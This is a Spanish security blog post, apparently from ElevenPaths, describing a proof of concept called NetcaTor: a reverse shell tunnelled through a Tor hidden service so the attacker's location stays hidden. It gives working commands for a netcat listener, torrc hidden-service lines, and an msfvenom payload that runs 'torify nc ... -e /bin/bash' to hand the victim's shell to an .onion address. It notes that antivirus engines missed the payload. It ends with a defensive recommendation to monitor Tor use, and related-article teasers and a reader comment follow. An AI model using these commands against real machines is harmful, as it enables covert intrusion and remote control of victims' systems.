Aplicación práctica sobre NetcaTor, una shell inversa a través de TorElevenPaths 28 septiembre, 2016 Uno de los puntos débiles de los atacantes a la hora de exfiltrar información comprometida es la exposición de parte de su infraestructura tecnológica durante el proceso. En este sentido, la red Tor ofrece la posibilidad de hacer accesibles servicios en una máquina como servicios ocultos o hidden services aprovechando la capa de anonimato que ofrece y así evitar que quede expuesta la localización real de la máquina. Cómo configuramos un hidden service La configuración de un hidden service es sencilla y además está bien documentada por parte de los desarrolladores del proyecto Tor dentro del propio código como en la propia web del proyecto. Virtualmente, cualquier servicio que utilice tráfico TCP puede ser creado a través de la red Tor modificando la configuración del archivo torrc. La creación del hidden service con Tor instalado en una máquina requiere la edición del fichero de configuración de Tor torrc que se encuentra en la ruta /etc/tor/ en sistemas operativos Linux. En las líneas del fichero 63 y siguientes se detallan ejemplos de cómo configurar un hidden service. La primera de ellas establecerá la ruta en la que se almacenará la información relativa al hidden service y que será creada si no existe por el servicio que arranca Tor. En esa ruta se almacenan dos archivos importantes: hostname, que contiene el dominio que otros podrán utilizar para acceder al servicio y private_key, el fichero que almacena la clave privada del hidden service y cuya custodia queda a cargo del administrador del sitio siendo necesario que permanezca secreta. ############### This section is just for location-hidden services ### ## Once you have configured a hidden service, you can look at the ## contents of the file «…/hidden_service/hostname» for the address ## to tell people. ## ## HiddenServicePort x y:z says to redirect requests on port x to the ## address y:z. #HiddenServiceDir /var/lib/tor/hidden_service/ #HiddenServicePort 80 127.0.0.1:80 Por ejemplo, en el caso de que hubiéramos desplegado un servidor Apache en el puerto 80, podríamos hacerlo accesible a través de un hidden service editando la configuración y descomentando la información de las líneas 72 y 73 de dicho fichero para crear los archivos hostname en la ruta /var/lib/tor/hidden_service/ y redirigir el tráfico que reciba Tor en el puerto 80 a ese hidden service al puerto 80 de la máquina local en donde está esperando el servidor Apache. Esta aproximación podría llevarse a cabo también para exponer un servicio SSH accesible a través de Tor, modificando las líneas relativas al HiddenServicePort para que apunten al puerto 22. Para acceder a dicho servicio existen diferentes aproximaciones, pero la más sencilla es la de lanzar el comando de conexión precediéndolo del comando torify, que se encargará de redirigir el tráfico de red para enviarlo a través de la instancia de Tor que esté en ejecución en dicha máquina. La prueba de concepto Desde el punto de vista de la arquitectura necesaria para esta prueba de concepto se asumirá qué víctima y atacante están utilizando sistemas Linux y tienen Tor instalado y corriendo como servicio. El procedimiento seguido para llevar a cabo esta prueba de concepto es el siguiente: 1. Despliegue del servicio malicioso a la escucha en la máquina atacante. En este caso se desplegará un netcat a la espera de conexiones en el puerto 1234 de la máquina local. No es necesario exponer públicamente el servicio ya que el tráfico en ese puerto será encaminado hacia y desde Tor. Attacker > nc -v -l -p 1234 127.0.0.1 2. Configuración de Tor en la máquina atacante para hacerlo accesible a través de un dominio .onion. Utilizando como plantilla el fichero torrc, se añaden dos líneas nuevas que especifican la ruta en la que se generarán los ficheros auxiliares del servicio y las reglas de direccionamiento. HiddenServiceDir /var/lib/tor/nc_hidden_service/ HiddenServicePort 1234 127.0.0.1:1234 El dominio .onion definido en el archivo hostname estará disponible apenas unos segundos después de arrancarlo. En el caso de esta prueba de concepto el dominio generado es: vks3v4ilo4tgud7h.onion. Attacker > service tor restart Figura 1. Esquema del sistema malicioso que utiliza Tor para la exfiltración de información. 3. Preparación del payload torificado por parte del atacante. El payload se generará con la utilidad msfvenom de Metasploit Framework utilizando el módulo linux/x86/exec que torificará la conexión de netcat hacia el dominio .onion del atacante y que permitirá al atacante la ejecución de comandos. Attacker > msfvenom -p linux/x86/exec CMD=»torify nc vks3v4ilo4tgud7h.onion 1234 -e /bin/bash» -f elf R > poc 4. Ejecución del payload torificado en la máquina de la víctima. Aunque se podría realizar explotando algún tipo de vulnerabilidad, para simplificar el proceso en este caso se ha ejecutado directamente el payload generado. Victim > chmod +x poc Victim > ./poc 5. Explotación por parte del atacante de la shell redirigida hacia netcat. En este caso, se asume que la víctima cuenta con Tor instalado y la aplicación torify disponible. En el supuesto de no ser así, se podría instalar automáticamente desde los repositorios oficiales de la distribución si el usuario dispone de los permisos adecuados y así proceder a su instalación. En cualquier caso, si el usuario no tiene permisos de administración se podría incluir también el proceso de descarga de la última instancia de Tor y compilarla desde las fuentes satisfaciendo las dependencias o accediendo a versiones precompiladas de la aplicación. El primer análisis del payload generado en esta prueba de concepto en Virustotal no ha sido clasificado como malicioso por ninguna de las 53 soluciones de antivirus. Figura 2. Ejemplo de la ejecución de la prueba de concepto en una máquina local. Hemos creado entonces un payload utilizando el módulo exec con msfvenom. El inconveniente que tiene es que tenemos que recordar el comando completo que tenemos que ejecutar. Una aproximación más cómoda sería crear a partir de ese módulo uno nuevo que directamente nos solicitara el dominio .onion y el puerto al que nos vamos a conectar. En el siguiente repositorio de Github podréis acceder al nuevo módulo que hemos creado. Esta prueba de concepto pone sobre la mesa la necesidad de monitorizar si máquinas consideradas como críticas están usando Tor para comunicarse con la red y determinar si este comportamiento es esperado o si podría ser consecuencia de un potencial encubrimiento de comunicaciones maliciosas. Una investigación de ElevenPaths en la RSA Conference de Abu Dhabi 2016Participating in GSMA Mobile 360 LATIN AMERICA
Telefónica Tech Boletín semanal de Ciberseguridad, 18 – 24 de marzo HinataBot: nueva botnet dedicada a ataques de DDoS El equipo de investigadores de Akamai ha publicado un informe en el que señala que han identificado una nueva botnet denominada HinataBot que dispondría...
Telefónica Tech Qué es el Esquema Nacional de Seguridad (ENS 2.0) La Ciberseguridad, la privacidad y la protección de los datos y de la información sensible son aspectos cada vez más importantes en la sociedad actual. Tanto para empresas y...
Nacho Palou 5G: cuatro casos de uso reales y prácticos El último informe “La Sociedad Digital en España 2022” [1] de Fundación Telefónica confirma la consolidación de los procesos de digitalización en la sociedad española. En este sentido, cabe...
Susana Alwasity Ciberseguridad: eventos “cisne negro” en un mundo conectado En la sociedad actual, la tecnología ha transformado la forma en que vivimos, trabajamos y nos relacionamos. Con el aumento del uso de dispositivos y redes conectados a internet,...
Telefónica Tech Boletín semanal de Ciberseguridad, 11 – 17 de marzo Nueva versión del troyano bancario Xenomorph Investigadores de ThreatFabric han detectado una nueva variante del troyano bancario para Android Xenomorph. Esta familia de malware fue detectada por primera vez en febrero...
Gonzalo Álvarez Marañón Matemáticas contra el cibercrimen: cómo detectar fraude, manipulaciones y ataques aplicando la Ley de Benford Cómo aplicar la ley de Benford para luchar contra el cibercrimen. La respuesta, en este post que utiliza las matemáticas para ayudar a la ciberseguridad.
Hola Chema. Leo este artículo a fecha de 2018, a pesar de seguir tu web en los últimos años. Tengo conocimiento de este tipo de peligros en la red TOR, pero se agradece ver información de este tipo, en español y explicado como se debe con un ejemplo práctico. ¡Gracias!. Un saludo, OnShell. Responder